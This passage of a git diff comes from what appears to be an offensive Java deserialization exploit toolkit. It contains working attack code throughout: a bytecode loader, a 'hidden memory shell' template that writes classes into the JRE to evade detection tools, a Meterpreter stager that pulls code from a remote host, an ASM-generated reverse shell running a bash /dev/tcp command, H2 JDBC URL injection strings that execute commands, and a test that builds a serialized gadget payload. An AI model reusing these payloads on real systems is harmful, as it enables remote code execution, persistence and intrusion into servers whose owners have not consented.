!payload.isEmpty()) { + byte[] classBytes = base64Decode(payload); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + clazz.newInstance(); + } + + flag = true; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java index 0095050..7c6bc54 100644 --- a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java @@ -1,81 +1,81 @@ -package com.qi4l.JYso.template; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.io.FileOutputStream; - -/** - * 通过落地恶意文件到 /jre/classes 来使 Bootstrap ClassLoader 加载恶意代码 - * 使常见的工具无法检测出系统内的内存马 - * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 - */ -public class HideMemShellTemplate extends ClassLoader { - static String b64; - - static String className; - - static { - try { - writeClassFileToJRE(className, b64); - new HideMemShellTemplate().loadClass(className); - } catch (Exception ignored) { - } - } - - public static void writeClassFileToJRE(String className, String base64Content) throws Exception { - ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - byte[] bs = new byte[4096]; - int read; - - while ((read = bais.read(bs)) != -1) { - baos.write(bs, 0, read); - } - - byte[] bytes = baos.toByteArray(); - - String javaHome = System.getenv().get("JAVA_HOME"); - javaHome = javaHome == null ? System.getProperty("java.home") : javaHome; - - if (javaHome != null && (!javaHome.endsWith("jre/") || !javaHome.endsWith("jre"))) { - javaHome += "/jre/"; - } - - File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); - - if (!file.getParentFile().exists()) { - file.getParentFile().mkdirs(); - } - - FileOutputStream fos = new FileOutputStream(file); - fos.write(bytes); - fos.flush(); - fos.close(); - } - - public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - return value; - } - - - @Override - protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { - System.out.println(Thread.currentThread().getContextClassLoader()); - return Class.forName(name, true, Thread.currentThread().getContextClassLoader()); - } -} +package com.qi4l.JYso.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; + +/** + * 通过落地恶意文件到 /jre/classes 来使 Bootstrap ClassLoader 加载恶意代码 + * 使常见的工具无法检测出系统内的内存马 + * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 + */ +public class HideMemShellTemplate extends ClassLoader { + static String b64; + + static String className; + + static { + try { + writeClassFileToJRE(className, b64); + new HideMemShellTemplate().loadClass(className); + } catch (Exception ignored) { + } + } + + public static void writeClassFileToJRE(String className, String base64Content) throws Exception { + ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + + while ((read = bais.read(bs)) != -1) { + baos.write(bs, 0, read); + } + + byte[] bytes = baos.toByteArray(); + + String javaHome = System.getenv().get("JAVA_HOME"); + javaHome = javaHome == null ? System.getProperty("java.home") : javaHome; + + if (javaHome != null && (!javaHome.endsWith("jre/") || !javaHome.endsWith("jre"))) { + javaHome += "/jre/"; + } + + File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); + + if (!file.getParentFile().exists()) { + file.getParentFile().mkdirs(); + } + + FileOutputStream fos = new FileOutputStream(file); + fos.write(bytes); + fos.flush(); + fos.close(); + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + return value; + } + + + @Override + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + System.out.println(Thread.currentThread().getContextClassLoader()); + return Class.forName(name, true, Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/Meterpreter.java index 77695a6..cb15aa1 100644 --- a/src/main/java/com/qi4l/JYso/template/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/Meterpreter.java @@ -1,138 +1,138 @@ -package com.qi4l.JYso.template;/* - * Decompiled with CFR 0.152. - */ - -import java.io.DataInputStream; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.Socket; -import java.util.HashMap; - -public class Meterpreter - extends ClassLoader - implements Runnable { - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; - - static { - - Meterpreter meterpreter = new Meterpreter(); - meterpreter.initLhost(); - meterpreter.run(); - } - - public String host; - public String port; - private HashMap parameterMap; - - public static void main(String[] args) { - Meterpreter meterpreter = new Meterpreter(); - meterpreter.run(); - } - - public void initLhost() { - this.host = ""; - this.port = ""; - } - - public String toString() { - if (this.host != null && this.port != null) { - Thread thread = new Thread(this); - thread.start(); - this.parameterMap.put("result", "ok".getBytes()); - } else { - this.parameterMap.put("result", "host or port is null".getBytes()); - } - this.parameterMap = null; - return ""; - } - - public boolean equals(Object paramObject) { - try { - this.parameterMap = (HashMap) paramObject; - this.host = this.get("host"); - this.port = this.get("port"); - } catch (Exception e) { - return false; - } - return true; - } - - public void getShell() throws Exception { - InputStream inputStream1 = null; - OutputStream outputStream = null; - int j = new Integer(this.port); - String str4 = this.host; - Socket socket = null; - if (str4 != null) { - socket = new Socket(str4, j); - } - inputStream1 = socket.getInputStream(); - outputStream = socket.getOutputStream(); - new Meterpreter().bootstrap(inputStream1, outputStream); - } - - private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { - try { - Class clazz; - DataInputStream dataInputStream = new DataInputStream(paramInputStream); - int i = dataInputStream.readInt(); - do { - byte[] arrayOfByte = new byte[i]; - dataInputStream.readFully(arrayOfByte); - clazz = this.defineClass(null, arrayOfByte, 0, i); - this.resolveClass(clazz); - } while ((i = dataInputStream.readInt()) > 0); - Object object = clazz.newInstance(); - Class[] classArray = new Class[3]; - Class clazz2 = class$0; - if (clazz2 == null) { - try { - clazz2 = class$0 = Class.forName("java.io.DataInputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[0] = clazz2; - Class clazz3 = class$1; - if (clazz3 == null) { - try { - clazz3 = class$1 = Class.forName("java.io.OutputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[1] = clazz3; - Class clazz4 = class$2; - if (clazz4 == null) { - try { - clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[2] = clazz4; - clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); - } catch (Throwable throwable) { - // empty catch block - } - } - - public void run() { - try { - this.getShell(); - } catch (Exception exception) { - System.out.println(exception); - // empty catch block - } - } - - public String get(String key) { - try { - return new String((byte[]) this.parameterMap.get(key)); - } catch (Exception e) { - return null; - } - } -} +package com.qi4l.JYso.template;/* + * Decompiled with CFR 0.152. + */ + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.util.HashMap; + +public class Meterpreter + extends ClassLoader + implements Runnable { + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; + + static { + + Meterpreter meterpreter = new Meterpreter(); + meterpreter.initLhost(); + meterpreter.run(); + } + + public String host; + public String port; + private HashMap parameterMap; + + public static void main(String[] args) { + Meterpreter meterpreter = new Meterpreter(); + meterpreter.run(); + } + + public void initLhost() { + this.host = ""; + this.port = ""; + } + + public String toString() { + if (this.host != null && this.port != null) { + Thread thread = new Thread(this); + thread.start(); + this.parameterMap.put("result", "ok".getBytes()); + } else { + this.parameterMap.put("result", "host or port is null".getBytes()); + } + this.parameterMap = null; + return ""; + } + + public boolean equals(Object paramObject) { + try { + this.parameterMap = (HashMap) paramObject; + this.host = this.get("host"); + this.port = this.get("port"); + } catch (Exception e) { + return false; + } + return true; + } + + public void getShell() throws Exception { + InputStream inputStream1 = null; + OutputStream outputStream = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; + if (str4 != null) { + socket = new Socket(str4, j); + } + inputStream1 = socket.getInputStream(); + outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); + } + + private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + try { + Class clazz; + DataInputStream dataInputStream = new DataInputStream(paramInputStream); + int i = dataInputStream.readInt(); + do { + byte[] arrayOfByte = new byte[i]; + dataInputStream.readFully(arrayOfByte); + clazz = this.defineClass(null, arrayOfByte, 0, i); + this.resolveClass(clazz); + } while ((i = dataInputStream.readInt()) > 0); + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; + if (clazz2 == null) { + try { + clazz2 = class$0 = Class.forName("java.io.DataInputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[0] = clazz2; + Class clazz3 = class$1; + if (clazz3 == null) { + try { + clazz3 = class$1 = Class.forName("java.io.OutputStream"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java index 1c93090..68b7d43 100644 --- a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -1,165 +1,165 @@ -package com.qi4l.JYso.template; - -import com.qi4l.JYso.gadgets.utils.Utils; -import org.objectweb.asm.*; - -import static org.objectweb.asm.Opcodes.*; - -public class ReverseShellTemplate implements Template { - private String className; - private byte[] bytes; - private String ip; - private int port; - - public ReverseShellTemplate(String ip, String port) { - this(ip, Integer.parseInt(port)); - } - - - public ReverseShellTemplate(String ip, int port) { - this.ip = ip; - this.port = port; - this.className = "Exploit" + Utils.getRandomString(); - - generate(); - } - - public ReverseShellTemplate(String ip, String port, String className) { - this(ip, Integer.parseInt(port)); - this.className = className; - - generate(); - } - - @Override - public String getClassName() { - return className; - } - - @Override - public byte[] getBytes() { - return bytes; - } - - @Override - public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; - AnnotationVisitor av0; - - cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); - - - { - fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); - fv.visitEnd(); - } - { - fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); - fv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); - mv.visitCode(); - Label l0 = new Label(); - Label l1 = new Label(); - Label l2 = new Label(); - mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); - Label l3 = new Label(); - mv.visitLabel(l3); - mv.visitLineNumber(12, l3); - mv.visitVarInsn(ALOAD, 0); - mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); - Label l4 = new Label(); - mv.visitLabel(l4); - mv.visitLineNumber(13, l4); - mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); - mv.visitLdcInsn("/"); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); - Label l5 = new Label(); - mv.visitJumpInsn(IFEQ, l5); - Label l6 = new Label(); - mv.visitLabel(l6); - mv.visitLineNumber(14, l6); - mv.visitInsn(ICONST_3); - mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_0); - mv.visitLdcInsn("/bin/bash"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_1); - mv.visitLdcInsn("-c"); - mv.visitInsn(AASTORE); - mv.visitInsn(DUP); - mv.visitInsn(ICONST_2); - mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); - mv.visitInsn(AASTORE); - mv.visitVarInsn(ASTORE, 1); - mv.visitLabel(l0); - mv.visitLineNumber(16, l0); - mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(ALOAD, 1); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitInsn(POP); - mv.visitLabel(l1); - mv.visitLineNumber(19, l1); - mv.visitJumpInsn(GOTO, l5); - mv.visitLabel(l2); - mv.visitLineNumber(17, l2); - mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); - mv.visitVarInsn(ASTORE, 2); - Label l7 = new Label(); - mv.visitLabel(l7); - mv.visitLineNumber(18, l7); - mv.visitVarInsn(ALOAD, 2); - mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); - mv.visitLabel(l5); - mv.visitLineNumber(22, l5); - mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); - mv.visitInsn(RETURN); - Label l8 = new Label(); - mv.visitLabel(l8); - mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); - mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); - mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); - mv.visitMaxs(4, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - Label l0 = new Label(); - mv.visitLabel(l0); - mv.visitLineNumber(27, l0); - mv.visitInsn(RETURN); - Label l1 = new Label(); - mv.visitLabel(l1); - mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); - mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); - mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); - mv.visitMaxs(0, 3); - mv.visitEnd(); - } - { - mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); - mv.visitCode(); - Label l0 = new Label(); - mv.visitLabel(l0); - mv.visitLineNumber(32, l0); - mv.visitInsn(RETURN); - Label l1 = new Label(); - mv.visitLabel(l1); - mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); - mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); - mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); - mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); - mv.visitMaxs(0, 4); - mv.visitEnd(); - } - cw.visitEnd(); - bytes = cw.toByteArray(); - } - -} +package com.qi4l.JYso.template; + +import com.qi4l.JYso.gadgets.utils.Utils; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class ReverseShellTemplate implements Template { + private String className; + private byte[] bytes; + private String ip; + private int port; + + public ReverseShellTemplate(String ip, String port) { + this(ip, Integer.parseInt(port)); + } + + + public ReverseShellTemplate(String ip, int port) { + this.ip = ip; + this.port = port; + this.className = "Exploit" + Utils.getRandomString(); + + generate(); + } + + public ReverseShellTemplate(String ip, String port, String className) { + this(ip, Integer.parseInt(port)); + this.className = className; + + generate(); + } + + @Override + public String getClassName() { + return className; + } + + @Override + public byte[] getBytes() { + return bytes; + } + + @Override + public void generate() { + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + + { + fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); + Label l3 = new Label(); + mv.visitLabel(l3); + mv.visitLineNumber(12, l3); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + Label l4 = new Label(); + mv.visitLabel(l4); + mv.visitLineNumber(13, l4); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l5 = new Label(); + mv.visitJumpInsn(IFEQ, l5); + Label l6 = new Label(); + mv.visitLabel(l6); + mv.visitLineNumber(14, l6); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/bash"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitLineNumber(16, l0); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + mv.visitLineNumber(19, l1); + mv.visitJumpInsn(GOTO, l5); + mv.visitLabel(l2); + mv.visitLineNumber(17, l2); + mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"}); + mv.visitVarInsn(ASTORE, 2); + Label l7 = new Label(); + mv.visitLabel(l7); + mv.visitLineNumber(18, l7); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(l5); + mv.visitLineNumber(22, l5); + mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null); + mv.visitInsn(RETURN); + Label l8 = new Label(); + mv.visitLabel(l8); + mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2); + mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1); + mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(27, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(32, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); + mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } + +} diff --git a/src/main/java/com/qi4l/JYso/template/Template.java b/src/main/java/com/qi4l/JYso/template/Template.java index 31ee05e..2f90494 100644 --- a/src/main/java/com/qi4l/JYso/template/Template.java +++ b/src/main/java/com/qi4l/JYso/template/Template.java @@ -1,9 +1,9 @@ -package com.qi4l.JYso.template; - -public interface Template { - void generate(); - - byte[] getBytes(); - - String getClassName(); -} +package com.qi4l.JYso.template; + +public interface Template { + void generate(); + + byte[] getBytes(); + + String getClassName(); +} diff --git a/src/test/java/Main.java b/src/test/java/Main.java index 04f43f1..c2addd6 100644 --- a/src/test/java/Main.java +++ b/src/test/java/Main.java @@ -1,16 +1,16 @@ -public class Main { - - public static void main(String[] args) { - String cmd = "calc"; - String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")"; - String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '" + javascript + "'"; - //System.out.println(JDBC_URL); - - String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" + - "INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;" + - "CALL EXEC ('" + cmd + "')\\;"; - - System.out.println(url); - } - -} +public class Main { + + public static void main(String[] args) { + String cmd = "calc"; + String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + cmd + "\")"; + String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '" + javascript + "'"; + //System.out.println(JDBC_URL); + + String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" + + "INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;" + + "CALL EXEC ('" + cmd + "')\\;"; + + System.out.println(url); + } + +} diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java index f303d1b..71c003e 100644 --- a/src/test/java/com/example/demo/demos/web/Test.java +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -1,28 +1,28 @@ -package com.example.demo.demos.web; - -import com.qi4l.JYso.gadgets.ObjectPayload; - -import java.io.ByteArrayOutputStream; -import java.io.ObjectOutputStream; -import java.util.Base64; - -public class Test { - public static void main(String[] args) throws Exception { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass("cck3"); - ObjectPayload payload = payloadClass.newInstance(); - Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz - - secCig rootObj = new secCig(); - rootObj.setMessage("qi4l"); - rootObj.setSecObject(object); - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(baos); - oos.writeObject(rootObj); - oos.close(); - - byte[] payloadBytes = baos.toByteArray(); - String base64Payload = Base64.getEncoder().encodeToString(payloadBytes); - System.out.println(base64Payload); - } -} +package com.example.demo.demos.web; + +import com.qi4l.JYso.gadgets.ObjectPayload; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.util.Base64; + +public class Test { + public static void main(String[] args) throws Exception { + final Class payloadClass = ObjectPayload.Utils.getPayloadClass("cck3"); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz + + secCig rootObj = new secCig(); + rootObj.setMessage("qi4l"); + rootObj.setSecObject(object); + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(rootObj); + oos.close(); + + byte[] payloadBytes = baos.toByteArray(); + String base64Payload = Base64.getEncoder().encodeToString(payloadBytes); + System.out.println(base64Payload); + } +} diff --git a/src/test/java/com/example/demo/demos/web/secCig.java b/src/test/java/com/example/demo/demos/web/secCig.java index 56acade..630a1b8 100644 --- a/src/test/java/com/example/demo/demos/web/secCig.java +++ b/src/test/java/com/example/demo/demos/web/secCig.java @@ -1,22 +1,22 @@ -package com.example.demo.demos.web; - -import java.io.Serializable; - -/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */ -public class secCig implements Serializable { - private static final long serialVersionUID = 1; - public String message; - public Object secObject; - - public String toString() { - return "secCig{message='" + this.message + "'}"; - } - - public void setMessage(String message) { - this.message = message; - } - - public void setSecObject(Object secObject) { - this.secObject = secObject; - } +package com.example.demo.demos.web; + +import java.io.Serializable; + +/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */ +public class secCig implements Serializable { + private static final long serialVersionUID = 1; + public String message; + public Object secObject; + + public String toString() { + return "secCig{message='" + this.message + "'}"; + } + + public void setMessage(String message) { + this.message = message; + } + + public void setSecObject(Object secObject) { + this.secObject = secObject; + } } \ No newline at end of file